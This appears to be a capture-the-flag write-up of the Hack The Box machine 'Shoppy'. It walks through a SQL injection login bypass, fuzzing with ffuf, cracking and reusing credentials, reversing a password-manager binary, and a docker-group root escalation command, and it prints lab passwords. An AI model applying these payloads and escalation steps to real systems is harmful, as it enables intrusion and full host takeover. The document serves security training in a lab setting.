Hackthebox Shoppy Writeup

Nmap scan :

opening http://10.10.11.180 redirected to shoppy.htb

adding shoppy.htb to /etc/hosts

gobuster scan :

/login/

It is vulnerable to SQL injection

username : admin'||'
password : '1234'

Searching for users using ffuf

ffuf -w /usr/share/wordlists/dirbuster/Seclists/Discovery/Web-Content/big.txt -H “Cookie: connect.sid=s%3AQ_DzTywBWfkL-cMtYRlM_-1pjQWoOIAu.BMY48SawD9WHW%2
By9ffv355b9jyKAcgxT6Mq%2Bm7frzPQ” -u [http://shoppy.htb/admin/search-users**?**username=FUZZ](http://shoppy.htb/admin/search-users?username=FUZZ) — fs 2561 -t 50

This gave /export/exports.json with *admin and josh credentials *

Cracking josh’s hash

josh:remembermethisway

Searching for subdomains :

ffuf -H "Host: FUZZ.shoppy.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.180  --fs 169

Add mattermost subdomain to /etc/hosts

Login to mattermost with josh’s credentials

josh:remembermethisway

We get another credentials with hint it is machine

ssh into jaeger

jaeger privileges :

Can run password-manager as user deploy

It requires a master password

finding the master password using ghidra

download password-manager to the local machine and reverse the binary

Master password : Sample 

Running again master password in machine

This gave deploy user’s credentials

username: deploy
password: Deploying@pp!

let’s change to deploy

su deploy 

deploy’s privilege

Also did not find anything interesting in running processes/cronjobs

The deploy user belongs to the docker group

id 

cat /etc/group

docker images

A quick google search shows we can privilege escalation using docker/Alpin

Privilege Escalation :

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Getting root flag!

Pwned!